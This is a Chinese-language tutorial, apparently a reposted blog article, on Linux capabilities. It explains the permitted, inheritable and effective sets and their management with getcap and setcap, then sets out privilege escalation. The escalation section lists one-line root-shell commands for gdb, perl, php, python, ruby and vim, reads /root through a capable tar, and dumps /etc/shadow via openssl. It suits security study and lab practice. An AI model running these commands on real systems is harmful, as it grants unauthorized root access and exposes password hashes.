Linux提權之:利用capabilities提權


Linux提權之:利用capabilities提權

1 背景

我們運行SUID的命令時,通常只是需要使用一小部分特權,但是使用SUID,卻可以擁有root用戶的全部權限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份執行其他操作。

SUID的問題,主要在於權限控制太粗糙。為了對root身份進行更加精細的控制,Linux增加了另一種機制,即capabilities。

2 Capabilities機制

Capabilities機制,是在Linux內核2.2之后引入的。它將root用戶的權限細分為不同的領域,可以分別啟用或禁用。從而,在實際進行特權操作時,如果euid不是root,便會檢查是否具有該特權操作所對應的capabilities,並以此為依據,決定是否可以執行特權操作。

例如,下表列出了一些常見的特權操作及其對應的capability:

改變文件的所屬者(chown()) CAP_CHOWN
向進程發送信號(kill(), signal()) CAP_KILL
改變進程的uid(setuid(), setreuid(), setresuid()等) CAP_SETUID
trace進程(ptrace()) CAP_SYS_PTRACE
設置系統時間(settimeofday(), stime()等) CAP_SYS_TIME

Capabilities是細分到線程的,即每個線程可以有自己的capabilities。而完整的capabilities實現,除了對線程的capabilities具有以下相關功能:

  • 進行特權操作時,檢查該線程是否擁有該操作的capability
  • 提供系統調用,用於獲取或修改線程的capability

還應該包含對於文件的capabilities的支持,即:

  • 文件系統支持文件附加屬性,使得可執行文件具有一定的capabilities,從而在運行時確定其capabilities

  • 文件cap_setuid的capabilities和文件的suid標志位之間是沒有關系的:
  • 設置了cap_setuid的capability的文件並沒有設置suid。
  • 設置了suid的程序也不擁有cap_setuid的capability。

對於文件capabilities的支持,直到內核2.6.24之后才完成。

3 線程與文件的capabilities

3.1 線程的capabilities

每一個線程,具有3個capabilities的集合,每個集合中,可以包含零個或多個capabilities。

  • Permitted

    這個集合定義了線程所能夠擁有的特權的上限。換句話說,如果某個capability不在Permitted集合中,那么該線程便不能進行這個capability所對應的特權操作。Permitted集合是Inheritable和Effective集合的的超集。

  • Inheritable

    • 當執行exec()系運行其他命令時,能夠被新命令繼承的capabilities,被包含在Inheritable集合中。
  • Effective

    • 內核檢查該線程是否可以進行特權操作時,檢查的對象便是Effective集合。如之前所說,Permitted集合定義了上限。線程可以刪除Effective集合中的某capability,隨后在需要時,再從Permitted集合中恢復該capability,以此達到臨時禁用capability的功能。

(Linux 4.3之后,增加了一種集合Ambient。詳情可見相關manual)


3.2 文件的capabilities

文件的capabilities,是保存在文件的擴展屬性中。修改這些擴展屬性,需要具有CAP_SETFCAP的capability。文件與線程的capabilities,共同決定了通過exec運行該文件后的capabilities。

文件的capabilities功能,需要文件系統的支持。如果文件系統使用了nosuid選項進行掛載,那么文件的capabilities將被忽略。

類似於線程的capabilities,文件的capabilities也包含了3個集合:

  • Permitted
    • 這個集合中包含的capabilities,在文件被執行時,被加入其Permitted集合。
  • Inheritable
    • 這個集合與線程的Inheritable集合的交集,是執行完exec后實際繼承的capabilities。
  • Effective
    • 這僅僅是一個bit。如果設置開啟,那么在運行exec后,Permitted集合中新增的capabilities會自動出現在Effective集合中;否則不會出現在Effective集合中。對於一些舊的可執行文件,由於其不會調用capabilities相關函數設置自身的Effective集合,所以可以將該可執行文件的Effective bit開啟,從而將Permitted集合中的capabilities自動添加到Effective集合中。

3.3 運行exec后capabilities的變化

上面介紹了線程和文件的capabilities,可能會覺得有些抽象難懂。下面將使用具體的計算公式,來說明執行exec后capabilities是如何確定的。

我們使用P代表執行exec前的capabilities,P’代表執行exec后的capabilities,F代表exec執行的文件的capabilities。那么:

P’(Permitted) = (P(Inheritable) & F(Inheritable)) | (F(Permitted) & cap_bset)

P’(Effective) = F(Effective) ? P’(Permitted) : 0

P’(Inheritable) = P(Inheritable)

其中的cap_bset是capability bounding set。通過與文件的Permitted集合計算交集,可進一步限制某些capabilities的獲取,從而降低了風險。

而正如介紹文件的Effective bit時所說,文件可以將其Effective bit關閉。由此,在通過exec執行該文件后,實際的Effective集合為空集。隨后,在需要進行特權操作時,可再將Permitted集合中的capabilities加入Effective集合中。

4 Linux Capabilities管理

4.1 Linux系統管理Capabilities的工具

Linux系統中主要提供了兩種工具來管理capabilities:libcap和libcap-ng。

  • libcap提供了getcap和setcap兩個命令來分別查看和設置文件的capabilities,同時還提供了capsh來查看當前shell進程的capabilities。
  • libcap-ng更易於使用,使用同一個命令filecap來查看和設置capabilities。

4.2 獲取capabilities

系統調用capget(2)capset(2),可被用於獲取和設置線程自身的capabilities。此外,也可以使用libcap中提供的接口cap_get_proc(3)cap_set_proc(3)。當然,Permitted集合默認是不能增加新的capabilities的,除非CAP_SETPCAP在Effective集合中。

  • 查看線程的capabilities

    • 使用包libcap中的命令getpcaps <PID>

      還可以通過/proc/<PID>/task/<TID>/status文件,三種集合分別對應於CapPrm, CapInh和CapEff。但這種的顯示結果是數值,不適合人類閱讀。

  • 查看和設置文件的capabilities

    • 類似的,如果要,可以使用命令getcap或者setcap

4.3 設置capabilities

以wireshark為例

  1. 安裝wireshark軟件后,默認情況下,普通用戶無法對網卡實施抓包操作。這是因為普通用戶不具備相應的權限。

    image-20220319121042278

  2. /usr/bin/dumpcap文件授予抓包相關的capabilities

    ┌──(kali㉿kali)-[~]
    └─$ sudo -i
    ┌──(root💀kali)-[~]
    └─# getcap /usr/bin/dumpcap 
    ┌──(root💀kali)-[~]
    └─# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
    ┌──(root💀kali)-[~]
    └─# getcap /usr/bin/dumpcap
    /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip
    
  3. 命令執行后重新啟動wireshark,就可以抓包了。

    image-20220319121615209

  4. 刪除文件的capabilities

    setcap -r /usr/bin/dumpcap
    

ping為例

使用getcap命令,我們可以看到ping文件的capabilities:

# getcap /bin/ping
/bin/ping = cap_net_raw+ep
  • 即該文件的capabilities,設置了Effective bit,而且Permitted集合中包含了CAP_NEW_RAW,從而可以發送raw packet。

5 利用Capability實現權限提升

5.1 查找設置了capabilities可執行文件

getcap -r / 2>/dev/null

5.2 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

5.3 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

5.4 php

php -r "posix_setuid(0); system('/bin/sh');"

5.5 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

5.6 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

5.7 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.8 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.9 tar

  1. tar權限

    norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
    /usr/bin/tar = cap_dac_read_search+ep
    
    
    • cap_dac_read_search可以繞過文件的讀權限檢查以及目錄的讀/執行權限的檢查,利用此特性我們可以讀取系統中的敏感信息。
  2. 繞過權限檢查即可成功創建壓縮文件

    norris@sirrom:~$ tar -vcf root.tar /root
    tar: Removing leading `/' from member names
    /root/
    /root/root.txt
    /root/.bashrc
    /root/.gnupg/
    /root/.gnupg/private-keys-v1.d/
    /root/.bash_history
    /root/.cache/
    /root/.local/
    /root/.local/share/
    /root/.local/share/nano/
    /root/.profile
    
  3. 解壓縮

    norris@sirrom:~$ ls -la root.tar 
    -rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
    norris@sirrom:~$ tar -xf root.tar 
    norris@sirrom:~$ ls -la /root
    total 36
    drwx------ 5 norris norris 4096 Oct 11  2019 .
    drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
    -r-------- 1 norris norris  672 Oct 11  2019 .bash_history
    -rw-r--r-- 1 norris norris  570 Jan 31  2010 .bashrc
    drwx------ 2 norris norris 4096 Oct 11  2019 .cache
    drwx------ 3 norris norris 4096 Oct 11  2019 .gnupg
    drwxr-xr-x 3 norris norris 4096 Oct 11  2019 .local
    -rw-r--r-- 1 norris norris  148 Aug 17  2015 .profile
    -rw------- 1 norris norris   33 Oct 11  2019 root.txt
    
  4. 讀取root.txt文件

    norris@sirrom:~$ cat /root/root.txt 
    8fc9376d961670ca10be270d52eda423
    

5.10 openssl

使用openssl讀取/etc/shadow文件。

setcap =ep /usr/bin/openssl

# 使用openssl生成證書
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes

# 進入系統根目錄下
┌──(kali㉿kali)-[/]
└─$ cd /

# 啟動web服務器,監聽8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP

# 訪問本機的web服務,讀取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::

2 參考鏈接

Linux的capabilities機制 - 記事本 (rk700.github.io)

c linux 獲取cpuid_Linux系統利用可執行文件的Capability實現權限提升_Ningling Pan的博客-CSDN博客


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM